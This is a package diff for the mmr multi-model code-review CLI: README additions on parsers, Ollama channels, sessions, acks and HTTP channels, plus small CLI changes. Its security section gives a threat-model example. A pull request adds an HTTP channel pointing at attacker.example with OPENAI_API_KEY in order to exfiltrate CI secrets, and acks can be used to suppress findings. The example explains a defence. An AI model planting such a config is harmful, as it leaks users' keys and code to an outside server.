@zigrivers/mmr 1.3.0 → 1.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +422 -0
- package/dist/cli.d.ts.map +1 -1
- package/dist/cli.js +4 -0
- package/dist/cli.js.map +1 -1
- package/dist/commands/ack.d.ts +11 -0
- package/dist/commands/ack.d.ts.map +1 -0
- package/dist/commands/ack.js +123 -0
- package/dist/commands/ack.js.map +1 -0
- package/dist/commands/config.d.ts +5 -0
- package/dist/commands/config.d.ts.map +1 -1
- package/dist/commands/config.js +248 -14
- package/dist/commands/config.js.map +1 -1
- package/dist/commands/jobs.d.ts.map +1 -1
- package/dist/commands/jobs.js +3 -4
- package/dist/commands/jobs.js.map +1 -1
- package/dist/commands/reconcile.d.ts.map +1 -1
- package/dist/commands/reconcile.js +12 -5
- package/dist/commands/reconcile.js.map +1 -1
- package/dist/commands/results.d.ts.map +1 -1
- package/dist/commands/results.js +13 -5
- package/dist/commands/results.js.map +1 -1
- package/dist/commands/review.d.ts +25 -0
- package/dist/commands/review.d.ts.map +1 -1
- package/dist/commands/review.js +457 -44
- package/dist/commands/review.js.map +1 -1
- package/dist/commands/sessions.d.ts +58 -0
- package/dist/commands/sessions.d.ts.map +1 -0
- package/dist/commands/sessions.js +266 -0
- package/dist/commands/sessions.js.map +1 -0
- package/dist/commands/status.d.ts.map +1 -1
- package/dist/commands/status.js +2 -3
- package/dist/commands/status.js.map +1 -1
- package/dist/config/defaults.d.ts +2 -2
- package/dist/config/defaults.d.ts.map +1 -1
- package/dist/config/defaults.js +66 -0
- package/dist/config/defaults.js.map +1 -1
- package/dist/config/loader.d.ts +22 -0
- package/dist/config/loader.d.ts.map +1 -1
- package/dist/config/loader.js +279 -36
- package/dist/config/loader.js.map +1 -1
- package/dist/config/schema.d.ts +869 -53
- package/dist/config/schema.d.ts.map +1 -1
- package/dist/config/schema.js +151 -4
- package/dist/config/schema.js.map +1 -1
- package/dist/core/ack-store.d.ts +109 -0
- package/dist/core/ack-store.d.ts.map +1 -0
- package/dist/core/ack-store.js +363 -0
- package/dist/core/ack-store.js.map +1 -0
- package/dist/core/auth.d.ts +10 -1
- package/dist/core/auth.d.ts.map +1 -1
- package/dist/core/auth.js +65 -2
- package/dist/core/auth.js.map +1 -1
- package/dist/core/compensator.d.ts +32 -4
- package/dist/core/compensator.d.ts.map +1 -1
- package/dist/core/compensator.js +118 -15
- package/dist/core/compensator.js.map +1 -1
- package/dist/core/diff-introspect.d.ts +21 -0
- package/dist/core/diff-introspect.d.ts.map +1 -0
- package/dist/core/diff-introspect.js +42 -0
- package/dist/core/diff-introspect.js.map +1 -0
- package/dist/core/dispatcher.d.ts +7 -0
- package/dist/core/dispatcher.d.ts.map +1 -1
- package/dist/core/dispatcher.js +21 -3
- package/dist/core/dispatcher.js.map +1 -1
- package/dist/core/git-show.d.ts +31 -0
- package/dist/core/git-show.d.ts.map +1 -0
- package/dist/core/git-show.js +72 -0
- package/dist/core/git-show.js.map +1 -0
- package/dist/core/http-dispatcher.d.ts +20 -0
- package/dist/core/http-dispatcher.d.ts.map +1 -0
- package/dist/core/http-dispatcher.js +125 -0
- package/dist/core/http-dispatcher.js.map +1 -0
- package/dist/core/job-store.d.ts +7 -1
- package/dist/core/job-store.d.ts.map +1 -1
- package/dist/core/job-store.js +21 -1
- package/dist/core/job-store.js.map +1 -1
- package/dist/core/jsonpath.d.ts +15 -0
- package/dist/core/jsonpath.d.ts.map +1 -0
- package/dist/core/jsonpath.js +63 -0
- package/dist/core/jsonpath.js.map +1 -0
- package/dist/core/oss-examples.d.ts +18 -0
- package/dist/core/oss-examples.d.ts.map +1 -0
- package/dist/core/oss-examples.js +66 -0
- package/dist/core/oss-examples.js.map +1 -0
- package/dist/core/parser.d.ts +8 -3
- package/dist/core/parser.d.ts.map +1 -1
- package/dist/core/parser.js +157 -6
- package/dist/core/parser.js.map +1 -1
- package/dist/core/project-root.d.ts +10 -0
- package/dist/core/project-root.d.ts.map +1 -0
- package/dist/core/project-root.js +23 -0
- package/dist/core/project-root.js.map +1 -0
- package/dist/core/reconciler.d.ts +1 -1
- package/dist/core/reconciler.d.ts.map +1 -1
- package/dist/core/reconciler.js +100 -18
- package/dist/core/reconciler.js.map +1 -1
- package/dist/core/redact.d.ts +17 -0
- package/dist/core/redact.d.ts.map +1 -0
- package/dist/core/redact.js +140 -0
- package/dist/core/redact.js.map +1 -0
- package/dist/core/results-pipeline.d.ts +8 -2
- package/dist/core/results-pipeline.d.ts.map +1 -1
- package/dist/core/results-pipeline.js +50 -3
- package/dist/core/results-pipeline.js.map +1 -1
- package/dist/core/runtime-probe.d.ts +14 -0
- package/dist/core/runtime-probe.d.ts.map +1 -0
- package/dist/core/runtime-probe.js +57 -0
- package/dist/core/runtime-probe.js.map +1 -0
- package/dist/core/stable-id.d.ts +19 -0
- package/dist/core/stable-id.d.ts.map +1 -0
- package/dist/core/stable-id.js +148 -0
- package/dist/core/stable-id.js.map +1 -0
- package/dist/core/trust-mode.d.ts +29 -0
- package/dist/core/trust-mode.d.ts.map +1 -0
- package/dist/core/trust-mode.js +103 -0
- package/dist/core/trust-mode.js.map +1 -0
- package/dist/formatters/markdown.d.ts.map +1 -1
- package/dist/formatters/markdown.js +9 -0
- package/dist/formatters/markdown.js.map +1 -1
- package/dist/formatters/text.d.ts.map +1 -1
- package/dist/formatters/text.js +9 -0
- package/dist/formatters/text.js.map +1 -1
- package/dist/types.d.ts +44 -1
- package/dist/types.d.ts.map +1 -1
- package/dist/types.js.map +1 -1
- package/package.json +2 -2
package/README.md
CHANGED
|
@@ -31,6 +31,7 @@ mmr reconcile <job-id> --channel superpowers --input findings.json
|
|
|
31
31
|
|---------|---------|
|
|
32
32
|
| `mmr review` | Dispatch review to configured channels |
|
|
33
33
|
| `mmr review --sync` | Full pipeline: dispatch, parse, reconcile, output verdict |
|
|
34
|
+
| `mmr review --dry-run` | Resolve diff, validate install/auth, and print prompts without dispatching |
|
|
34
35
|
| `mmr status <job-id>` | Check job progress |
|
|
35
36
|
| `mmr results <job-id>` | Collect and reconcile findings |
|
|
36
37
|
| `mmr config init` | Auto-detect CLIs and generate `.mmr.yaml` |
|
|
@@ -66,12 +67,433 @@ channels:
|
|
|
66
67
|
enabled: true
|
|
67
68
|
```
|
|
68
69
|
|
|
70
|
+
## Custom output parsers
|
|
71
|
+
|
|
72
|
+
Channels emit reviewer output in different shapes. `output_parser` accepts either a built-in parser name (string form — `default`, `gemini`, `doc-conformance`) or a structured object that builds a parser at dispatch time.
|
|
73
|
+
|
|
74
|
+
### `unwrap-jsonpath` — extract the model's response from an envelope
|
|
75
|
+
|
|
76
|
+
For OSS endpoints that wrap content in OpenAI-chat shape (`{choices: [{message: {content: "..."}}]}`):
|
|
77
|
+
|
|
78
|
+
```yaml
|
|
79
|
+
channels:
|
|
80
|
+
qwen-local:
|
|
81
|
+
command: scripts/ollama-openai-chat.sh # posts stdin to Ollama's /v1/chat/completions endpoint
|
|
82
|
+
flags: ["qwen2.5-coder:32b"]
|
|
83
|
+
output_parser:
|
|
84
|
+
kind: unwrap-jsonpath
|
|
85
|
+
wrap: $.choices[0].message.content
|
|
86
|
+
then: default # default; pass the extracted string through the default parser
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
`wrap` is the schema key for the JSONPath selector inside the wrapper envelope. Supported jsonpath subset: `$` plus repeated property and numeric-index segments, such as `$.foo`, `$.foo.bar`, `$.foo[0]`, `$.foo[0].bar`, and `$.choices[0].message.content`.
|
|
90
|
+
|
|
91
|
+
### `regex-findings` — one finding per regex match
|
|
92
|
+
|
|
93
|
+
For tools that emit findings as flat lines (linter-style):
|
|
94
|
+
|
|
95
|
+
```yaml
|
|
96
|
+
channels:
|
|
97
|
+
my-linter:
|
|
98
|
+
command: my-linter
|
|
99
|
+
flags: ["--format", "pipe"]
|
|
100
|
+
output_parser:
|
|
101
|
+
kind: regex-findings
|
|
102
|
+
pattern: '^(P[0-3])\|([^|]+)\|([^|]+)(?:\|(.+))?$'
|
|
103
|
+
fields:
|
|
104
|
+
severity: 1
|
|
105
|
+
location: 2
|
|
106
|
+
description: 3
|
|
107
|
+
suggestion: 4 # optional
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
`fields.location` and `fields.description` are required; `severity` and `suggestion` are optional. Missing or invalid severity defaults to `P2` during standard MMR finding validation.
|
|
111
|
+
|
|
112
|
+
### Ollama recipe (full example)
|
|
113
|
+
|
|
114
|
+
```yaml
|
|
115
|
+
channels:
|
|
116
|
+
ollama-base:
|
|
117
|
+
abstract: true # v3.28 — template only, not dispatchable
|
|
118
|
+
command: ollama
|
|
119
|
+
auth:
|
|
120
|
+
check: ollama list >/dev/null 2>&1
|
|
121
|
+
failure_exit_codes: [1]
|
|
122
|
+
recovery: Install Ollama and pull the model configured by this channel
|
|
123
|
+
output_parser: default # `ollama run` writes the model response directly
|
|
124
|
+
|
|
125
|
+
qwen-coder:
|
|
126
|
+
extends: ollama-base
|
|
127
|
+
flags: ["run", "qwen2.5-coder:32b", "--format", "json"]
|
|
128
|
+
|
|
129
|
+
deepseek-coder:
|
|
130
|
+
extends: ollama-base
|
|
131
|
+
flags: ["run", "deepseek-coder:33b", "--format", "json"]
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
## Configurable compensator
|
|
135
|
+
|
|
136
|
+
When one of the configured channels can't run (missing CLI, auth failure, timeout, or error), MMR dispatches a **compensating pass** to keep the review degraded-but-useful. By default that pass goes to `claude -p --output-format json`. Set `defaults.compensator` to redirect it to any channel you've already configured:
|
|
137
|
+
|
|
138
|
+
```yaml
|
|
139
|
+
defaults:
|
|
140
|
+
compensator:
|
|
141
|
+
channel: qwen-local # name of an existing entry in channels:
|
|
142
|
+
channel_focus_map: # optional — override the focus preamble per-channel
|
|
143
|
+
codex: |
|
|
144
|
+
Focus on implementation correctness, memory safety, and async correctness.
|
|
145
|
+
You are compensating for a missing Codex review.
|
|
146
|
+
gemini: |
|
|
147
|
+
Focus on architectural consistency and dependency boundaries.
|
|
148
|
+
You are compensating for a missing Gemini review.
|
|
149
|
+
|
|
150
|
+
channels:
|
|
151
|
+
qwen-local:
|
|
152
|
+
extends: ollama-base # see the Ollama recipe in Custom output parsers
|
|
153
|
+
flags: ["run", "qwen2.5-coder:32b", "--format", "json"]
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
**Default behavior (when `defaults.compensator` is unset or omitted).** MMR dispatches `claude -p --output-format json` for each missing channel. This preserves the pre-v3.29 behavior so existing configs need no changes.
|
|
157
|
+
|
|
158
|
+
**Validation.** The loader rejects:
|
|
159
|
+
- `compensator.channel` referencing a name that does not exist in `channels:` (dangling reference).
|
|
160
|
+
- `compensator.channel` pointing at a channel marked `abstract: true` — abstract channels are templates (v3.28 T1-A) and cannot be dispatched. Reference a concrete channel that `extends:` it instead.
|
|
161
|
+
|
|
162
|
+
### Recipe — use a local model as the compensator
|
|
163
|
+
|
|
164
|
+
For a fully OSS-only setup (no Anthropic CLI required), configure a local Ollama channel and reference it as the compensator:
|
|
165
|
+
|
|
166
|
+
```yaml
|
|
167
|
+
version: 1
|
|
168
|
+
defaults:
|
|
169
|
+
compensator:
|
|
170
|
+
channel: qwen-coder
|
|
171
|
+
|
|
172
|
+
channels:
|
|
173
|
+
ollama-base:
|
|
174
|
+
abstract: true
|
|
175
|
+
command: ollama
|
|
176
|
+
auth:
|
|
177
|
+
check: ollama list >/dev/null 2>&1
|
|
178
|
+
failure_exit_codes: [1]
|
|
179
|
+
recovery: Install Ollama and pull a model
|
|
180
|
+
output_parser: default # `ollama run` writes the model response directly
|
|
181
|
+
|
|
182
|
+
qwen-coder:
|
|
183
|
+
extends: ollama-base
|
|
184
|
+
flags: ["run", "qwen2.5-coder:32b", "--format", "json"]
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
When enabled review channels such as `codex` or `gemini` are unavailable, missing, or failing, MMR runs `qwen-coder` for each compensating pass instead of `claude -p`. Channels set to `enabled: false` are intentionally skipped and do not receive compensating passes.
|
|
188
|
+
|
|
69
189
|
## Features
|
|
70
190
|
|
|
71
191
|
- **--sync mode** — single-command entry point for agents and CI
|
|
192
|
+
- **--dry-run mode** — preview resolved channels and assembled prompts without spawning review subprocesses; install and auth checks still run so the preview shows which channels would dispatch
|
|
72
193
|
- **Compensating passes** — Claude-based review for unavailable channels
|
|
73
194
|
- **Consensus scoring** — multi-source findings get high confidence
|
|
74
195
|
- **Atomic job store** — per-channel status files, no write races
|
|
75
196
|
- **POSIX-portable** — `command -v` for install checks, works everywhere
|
|
76
197
|
|
|
198
|
+
## v3.28 — Config foundations
|
|
199
|
+
|
|
200
|
+
### Channel inheritance with `extends:` and abstract parents
|
|
201
|
+
|
|
202
|
+
Define an abstract template once, then inherit it per model. The parent's
|
|
203
|
+
fields are deep-merged into the child; the child may override any field.
|
|
204
|
+
|
|
205
|
+
```yaml
|
|
206
|
+
channels:
|
|
207
|
+
ollama-base:
|
|
208
|
+
abstract: true # template only, never dispatched
|
|
209
|
+
command: ollama run
|
|
210
|
+
output_parser: default
|
|
211
|
+
auth:
|
|
212
|
+
check: "ollama list"
|
|
213
|
+
timeout: 5
|
|
214
|
+
failure_exit_codes: [1]
|
|
215
|
+
recovery: "ollama serve"
|
|
216
|
+
|
|
217
|
+
qwen:
|
|
218
|
+
extends: ollama-base
|
|
219
|
+
flags: ["qwen2.5-coder:32b", "--format", "json"]
|
|
220
|
+
|
|
221
|
+
deepseek:
|
|
222
|
+
extends: ollama-base
|
|
223
|
+
flags: ["deepseek-r1:14b", "--format", "json"]
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
- Cycle detection rejects configs where `A extends B extends A` (or longer loops).
|
|
227
|
+
- Maximum extends depth is 4 levels.
|
|
228
|
+
- Concrete channels (`abstract: false` — the default) must end up with a `command`
|
|
229
|
+
after merge; an abstract parent supplies it implicitly.
|
|
230
|
+
|
|
231
|
+
### `mmr config init` — local-runtime probing
|
|
232
|
+
|
|
233
|
+
`mmr config init` probes for `ollama`, `lms` (LM Studio), `llama-server`
|
|
234
|
+
(llama.cpp), and `local-ai-delegate` with a 1-second per-probe timeout.
|
|
235
|
+
Detected runtimes emit a commented `# example: ...` channel block in the
|
|
236
|
+
generated `.mmr.yaml` (not enabled by default). Pass `--with-examples` to
|
|
237
|
+
emit the full OSS catalog whether or not the runtimes are detected.
|
|
238
|
+
|
|
239
|
+
```bash
|
|
240
|
+
mmr config init --with-examples
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
### `mmr config channels show <name>`
|
|
244
|
+
|
|
245
|
+
Print the fully merged configuration for one channel with per-field
|
|
246
|
+
provenance (`# from default | user | project`). Secrets in `env` and
|
|
247
|
+
`headers` are replaced with `<redacted>` by default. Pass `--no-redact`
|
|
248
|
+
to print them verbatim (a warning banner is printed to stderr).
|
|
249
|
+
|
|
250
|
+
```bash
|
|
251
|
+
mmr config channels show claude
|
|
252
|
+
```
|
|
253
|
+
|
|
254
|
+
The loader also warns when a channel `headers:` block contains a literal
|
|
255
|
+
`Authorization` (or similarly secret-shaped) value — these should be moved
|
|
256
|
+
into an env var and referenced via `api_key_env` (the env-var name itself
|
|
257
|
+
is non-secret, the value never appears in any introspection output).
|
|
258
|
+
|
|
259
|
+
### `mmr review --dry-run`
|
|
260
|
+
|
|
261
|
+
Resolve the diff, assemble the prompt, run auth checks, and print which
|
|
262
|
+
channels *would* dispatch and the prompt each would receive — without
|
|
263
|
+
spawning any review subprocesses. A clear banner makes it obvious the
|
|
264
|
+
output is not real findings.
|
|
265
|
+
|
|
266
|
+
```bash
|
|
267
|
+
mmr review --pr 42 --dry-run
|
|
268
|
+
```
|
|
269
|
+
|
|
270
|
+
## v3.30 — Sessions, acks, HTTP channels, and trust boundary
|
|
271
|
+
|
|
272
|
+
### Stable finding identity and sessions
|
|
273
|
+
|
|
274
|
+
Each reconciled finding now carries a `finding_key` — a deterministic hash
|
|
275
|
+
built from the **normalized** location and category plus a SHA-1 of the
|
|
276
|
+
normalized description and suggestion (severity is intentionally *not* part of
|
|
277
|
+
the key). The SHA-1 here is a **content-identity** digest for
|
|
278
|
+
deduplicating findings across rounds — not a security primitive — so
|
|
279
|
+
cryptographic collision resistance is not a requirement here (a chance
|
|
280
|
+
collision would merely merge two unrelated findings, which is both
|
|
281
|
+
astronomically unlikely and harmless).
|
|
282
|
+
Normalization strips trailing line/column spans from the location and
|
|
283
|
+
inline `line N` mentions from the prose, and folds casing/whitespace. As a
|
|
284
|
+
result, line-number drift and severity changes do not change the identity of an
|
|
285
|
+
issue across rounds. This line-independent, case-folded identity is
|
|
286
|
+
intentional: a single ack then covers the same issue as it recurs at shifted
|
|
287
|
+
lines (or across case-variant paths), and any incidental merge of two findings
|
|
288
|
+
is harmless because the key is only a dedup/identity handle. The hash still
|
|
289
|
+
depends on the description/suggestion text,
|
|
290
|
+
so a substantial channel-side rewrite *will* produce a new key — that larger
|
|
291
|
+
phrasing drift is absorbed by the fuzzy **ack** fallback described below
|
|
292
|
+
(Jaccard ≥ 0.7 on the description shingle), not by the key itself.
|
|
293
|
+
|
|
294
|
+
Sessions group related reviews. Choose a session id matching
|
|
295
|
+
`^[a-zA-Z0-9_-]+$` that is not a reserved name (`con`, `prn`, `aux`, `nul`,
|
|
296
|
+
`com1`–`com9`, `lpt1`–`lpt9`, `index`, `__proto__`), register it with
|
|
297
|
+
`mmr sessions start <id>`, then pass `--session <id>` and `--round N`
|
|
298
|
+
(one-based) to link a review to its predecessors:
|
|
299
|
+
|
|
300
|
+
mmr sessions start my-feature
|
|
301
|
+
# → session record printed (includes the id)
|
|
302
|
+
mmr review --pr 123 --session my-feature --round 1 --sync
|
|
303
|
+
# ...do fix work...
|
|
304
|
+
mmr review --pr 123 --session my-feature --round 2 --sync
|
|
305
|
+
|
|
306
|
+
When `--session` is set without `--max-rounds`, the default cap is 5 rounds.
|
|
307
|
+
Round 6 exits early with `verdict: 'needs-user-decision'` and a `summary` of
|
|
308
|
+
`max_rounds_exceeded: …`.
|
|
309
|
+
|
|
310
|
+
Manage sessions with:
|
|
311
|
+
|
|
312
|
+
mmr sessions list
|
|
313
|
+
mmr sessions show <id>
|
|
314
|
+
mmr sessions end <id>
|
|
315
|
+
|
|
316
|
+
### Acknowledging known findings
|
|
317
|
+
|
|
318
|
+
A finding that is intentional in your project (an "ack") can be silenced so
|
|
319
|
+
later reviews surface it as advisory rather than blocking. Acks are keyed by
|
|
320
|
+
`finding_key`, with a location-anchored Jaccard fuzzy fallback (≥ 0.7 on the
|
|
321
|
+
5-gram description shingle) that survives small LLM phrasing changes.
|
|
322
|
+
|
|
323
|
+
Workflow:
|
|
324
|
+
|
|
325
|
+
# Find the finding_key for the issue you want to ack:
|
|
326
|
+
mmr review --pr 123 --sync --format json | jq '.reconciled_findings[] | select(.location | startswith("src/legacy/")) | .finding_key'
|
|
327
|
+
|
|
328
|
+
# Ack it with a reason:
|
|
329
|
+
mmr ack add <finding_key> --reason "legacy module — scheduled rewrite in Q3"
|
|
330
|
+
|
|
331
|
+
# List:
|
|
332
|
+
mmr ack list
|
|
333
|
+
|
|
334
|
+
# Remove:
|
|
335
|
+
mmr ack rm <finding_key>
|
|
336
|
+
|
|
337
|
+
By default (`--scope project`, the default), acks are stored at
|
|
338
|
+
`./.mmr/acks/<finding_key>.json` (committed and shared with the team). Pass
|
|
339
|
+
`--scope user` to store under `~/.mmr/acks/` (private to your machine).
|
|
340
|
+
|
|
341
|
+
Acked findings remain visible in `reconciled_findings` with
|
|
342
|
+
`acknowledged: true` and `ack_match: 'exact' | 'fuzzy'`; they no longer
|
|
343
|
+
block the gate.
|
|
344
|
+
|
|
345
|
+
### HTTP channels
|
|
346
|
+
|
|
347
|
+
In addition to subprocess channels (which spawn a CLI like `claude -p`),
|
|
348
|
+
v3.30 supports `kind: http` channels that POST to OpenAI-compatible
|
|
349
|
+
`/v1/chat/completions` endpoints. This covers LM Studio, vLLM, llama-server,
|
|
350
|
+
Ollama (via its `/v1/chat/completions` shim), Groq, Together.ai, Anyscale,
|
|
351
|
+
and Fireworks without writing a shell wrapper.
|
|
352
|
+
|
|
353
|
+
Required fields for an HTTP channel:
|
|
354
|
+
|
|
355
|
+
- `kind: http`
|
|
356
|
+
- `endpoint` — the full chat-completions request URL, normally ending in
|
|
357
|
+
`/v1/chat/completions`. Non-standard paths are allowed, but then you must
|
|
358
|
+
also supply an explicit `auth.check_endpoint` (see below), since the
|
|
359
|
+
auth-probe URL can only be derived from a `/chat/completions` suffix.
|
|
360
|
+
- `model` — the model string the endpoint expects
|
|
361
|
+
- `endpoint_convention: openai-chat` — the only convention supported in
|
|
362
|
+
v3.30; `generic` is rejected and reserved for a future release.
|
|
363
|
+
|
|
364
|
+
Optional fields:
|
|
365
|
+
|
|
366
|
+
- `api_key_env` — the NAME of the env var holding the API key. The literal
|
|
367
|
+
value is never written to `.mmr.yaml`.
|
|
368
|
+
- `api_key_header` (default `Authorization`)
|
|
369
|
+
- `api_key_prefix` — prepended to the key value in the auth header. The
|
|
370
|
+
default is the word `Bearer` followed by a single trailing space (the
|
|
371
|
+
seven-character string `Bearer `). Set it to an empty string (`""`) for
|
|
372
|
+
providers that expect a raw key with no prefix.
|
|
373
|
+
- `headers` — extra headers (e.g. `{ "X-Org": "..." }`)
|
|
374
|
+
- `auth.check_endpoint` — explicit auth-probe URL, written as a `check_endpoint`
|
|
375
|
+
key nested under an `auth:` block (the `auth.` prefix is dot-notation for that
|
|
376
|
+
nesting):
|
|
377
|
+
|
|
378
|
+
```yaml
|
|
379
|
+
channels:
|
|
380
|
+
custom:
|
|
381
|
+
kind: http
|
|
382
|
+
endpoint: https://api.example.com/v2/respond # non-standard path
|
|
383
|
+
model: my-model
|
|
384
|
+
endpoint_convention: openai-chat
|
|
385
|
+
auth:
|
|
386
|
+
check_endpoint: https://api.example.com/v2/health
|
|
387
|
+
```
|
|
388
|
+
|
|
389
|
+
When unset, MMR derives the probe by replacing a trailing `/chat/completions`
|
|
390
|
+
with `/models` (a single trailing slash on the endpoint is tolerated). If the
|
|
391
|
+
endpoint does not end in `/chat/completions`, `auth.check_endpoint` is
|
|
392
|
+
required (and config validation fails without it).
|
|
393
|
+
|
|
394
|
+
#### LM Studio (local, no API key)
|
|
395
|
+
|
|
396
|
+
```yaml
|
|
397
|
+
channels:
|
|
398
|
+
lm-studio:
|
|
399
|
+
kind: http
|
|
400
|
+
endpoint: http://localhost:1234/v1/chat/completions
|
|
401
|
+
model: qwen2.5-coder-32b-instruct
|
|
402
|
+
endpoint_convention: openai-chat
|
|
403
|
+
```
|
|
404
|
+
|
|
405
|
+
#### Groq
|
|
406
|
+
|
|
407
|
+
```yaml
|
|
408
|
+
channels:
|
|
409
|
+
groq:
|
|
410
|
+
kind: http
|
|
411
|
+
endpoint: https://api.groq.com/openai/v1/chat/completions
|
|
412
|
+
model: llama-3.3-70b-versatile
|
|
413
|
+
endpoint_convention: openai-chat
|
|
414
|
+
api_key_env: GROQ_API_KEY
|
|
415
|
+
```
|
|
416
|
+
|
|
417
|
+
#### Together.ai
|
|
418
|
+
|
|
419
|
+
```yaml
|
|
420
|
+
channels:
|
|
421
|
+
together:
|
|
422
|
+
kind: http
|
|
423
|
+
endpoint: https://api.together.xyz/v1/chat/completions
|
|
424
|
+
model: meta-llama/Llama-3-70b-chat-hf
|
|
425
|
+
endpoint_convention: openai-chat
|
|
426
|
+
api_key_env: TOGETHER_API_KEY
|
|
427
|
+
```
|
|
428
|
+
|
|
429
|
+
Status mapping: `200` → completed, `401` → `auth_failed`, `429` or `5xx`
|
|
430
|
+
→ `failed`, fetch timeout → `timeout`. The API key value is sent on every
|
|
431
|
+
request, but is NEVER written to logs or persisted job state.
|
|
432
|
+
|
|
433
|
+
### Security considerations
|
|
434
|
+
|
|
435
|
+
When MMR resolves a trusted **base ref** for a review — `--pr` with a
|
|
436
|
+
successfully resolved upstream base, an explicit `--base`, an explicit
|
|
437
|
+
`--config-base-ref`, or the local non-CI default of `HEAD` — both `.mmr.yaml`
|
|
438
|
+
and `./.mmr/acks/` are loaded *exclusively from that ref* (via `git show`),
|
|
439
|
+
never from the working tree. In the other modes (`trust_mode` of
|
|
440
|
+
`untrusted-head` — e.g. `--staged`/`--diff`/unresolvable `--pr` under CI — or
|
|
441
|
+
`non-git`), project config and project acks are **not loaded at all** unless
|
|
442
|
+
you pass the corresponding trust flag below; user-scope config/acks always
|
|
443
|
+
load. This base-ref rule closes two attack surfaces:
|
|
444
|
+
|
|
445
|
+
1. **Ack self-suppression.** Without the rule, a PR could add a
|
|
446
|
+
`./.mmr/acks/<key>.json` file in the same diff that introduces the
|
|
447
|
+
findings being acked, silently shipping the issue.
|
|
448
|
+
2. **HTTP channel secret exfiltration (P0).** Without the rule, a PR
|
|
449
|
+
could add a `kind: http` channel to `.mmr.yaml` with
|
|
450
|
+
`endpoint: https://attacker.example/log` and
|
|
451
|
+
`api_key_env: OPENAI_API_KEY`, exfiltrating CI secrets and diff
|
|
452
|
+
content.
|
|
453
|
+
|
|
454
|
+
The four trust flags:
|
|
455
|
+
|
|
456
|
+
- `--accept-new-acks` — required when the diff under review adds or
|
|
457
|
+
modifies files under `./.mmr/acks/`. Without it, MMR returns
|
|
458
|
+
`verdict: 'needs-user-decision'` and lists the proposed acks.
|
|
459
|
+
- `--trust-project-config` — required when the diff under review adds
|
|
460
|
+
or modifies `./.mmr.yaml`. Without it, MMR returns
|
|
461
|
+
`verdict: 'needs-user-decision'` and reports
|
|
462
|
+
`proposed_config_change: true`.
|
|
463
|
+
- `--config-base-ref <ref>` — for CI / wrapper flows that operate on
|
|
464
|
+
an untrusted checked-out PR head. Tells MMR to load both
|
|
465
|
+
`.mmr.yaml` and project acks from this trusted ref via
|
|
466
|
+
`git show`. **Preferred over `--trust-project-*`** when a trusted
|
|
467
|
+
ref exists.
|
|
468
|
+
- `--trust-project-acks` — broader equivalent to `--accept-new-acks`
|
|
469
|
+
for untrusted-HEAD / non-Git modes. Honors working-tree project
|
|
470
|
+
acks. Logged with a noisy banner.
|
|
471
|
+
|
|
472
|
+
Each review's output carries a `trust_mode` field with one of:
|
|
473
|
+
`'base-ref'`, `'untrusted-head'`, `'non-git'`. Inspect this field
|
|
474
|
+
to confirm which boundary applied to your run.
|
|
475
|
+
|
|
476
|
+
User-scope config (`~/.mmr/config.yaml`) and user-scope acks
|
|
477
|
+
(`~/.mmr/acks/`) are trusted unconditionally in every mode, because
|
|
478
|
+
they are local to the user running MMR.
|
|
479
|
+
|
|
480
|
+
The threat scenario the design closes:
|
|
481
|
+
|
|
482
|
+
> Alice opens a PR that adds `.mmr.yaml` with a `kind: http` channel
|
|
483
|
+
> pointed at her server, plus a benign-looking code change. Bob's CI
|
|
484
|
+
> runs `mmr review --pr` on that PR. Without the base-ref rule, Bob's
|
|
485
|
+
> CI would dispatch the new HTTP channel during the review, sending
|
|
486
|
+
> `OPENAI_API_KEY` and the full diff to Alice's server. With the rule,
|
|
487
|
+
> the channel is not loaded (it does not exist at the base ref) and
|
|
488
|
+
> the verdict is `needs-user-decision` until Bob explicitly opts in
|
|
489
|
+
> with `--trust-project-config`.
|
|
490
|
+
|
|
491
|
+
Scaffold's wrappers (`scaffold run review-pr`, `scaffold run review-code`)
|
|
492
|
+
pick the **input mode** for you (`--pr`, `--staged`, `--base/--head`,
|
|
493
|
+
`--diff`) but do **not** pass the trust flags. For a `--pr` review the
|
|
494
|
+
base-ref boundary applies automatically, so the trust flags are usually
|
|
495
|
+
unnecessary; if a review returns `needs-user-decision` (e.g. the diff touches
|
|
496
|
+
`.mmr.yaml` or `./.mmr/acks/`, or you are in an untrusted-head/non-git mode),
|
|
497
|
+
re-run with the appropriate trust flag above yourself.
|
|
498
|
+
|
|
77
499
|
Full documentation: [scaffold README](https://github.com/zigrivers/scaffold#mmr--multi-model-review-cli)
|
package/dist/cli.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"cli.d.ts","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":"
|
|
1
|
+
{"version":3,"file":"cli.d.ts","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":"AAUA,wBAAsB,MAAM,CAAC,IAAI,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,CAAC,CAgB1D"}
|
package/dist/cli.js
CHANGED
|
@@ -5,6 +5,8 @@ import { resultsCommand } from './commands/results.js';
|
|
|
5
5
|
import { configCommand } from './commands/config.js';
|
|
6
6
|
import { jobsCommand } from './commands/jobs.js';
|
|
7
7
|
import { reconcileCommand } from './commands/reconcile.js';
|
|
8
|
+
import { sessionsCommand } from './commands/sessions.js';
|
|
9
|
+
import { ackCommand } from './commands/ack.js';
|
|
8
10
|
export async function runCli(argv) {
|
|
9
11
|
await yargs(argv)
|
|
10
12
|
.scriptName('mmr')
|
|
@@ -15,6 +17,8 @@ export async function runCli(argv) {
|
|
|
15
17
|
.command(configCommand)
|
|
16
18
|
.command(jobsCommand)
|
|
17
19
|
.command(reconcileCommand)
|
|
20
|
+
.command(sessionsCommand)
|
|
21
|
+
.command(ackCommand)
|
|
18
22
|
.demandCommand(1, 'Run mmr --help for usage')
|
|
19
23
|
.strict()
|
|
20
24
|
.help()
|
package/dist/cli.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
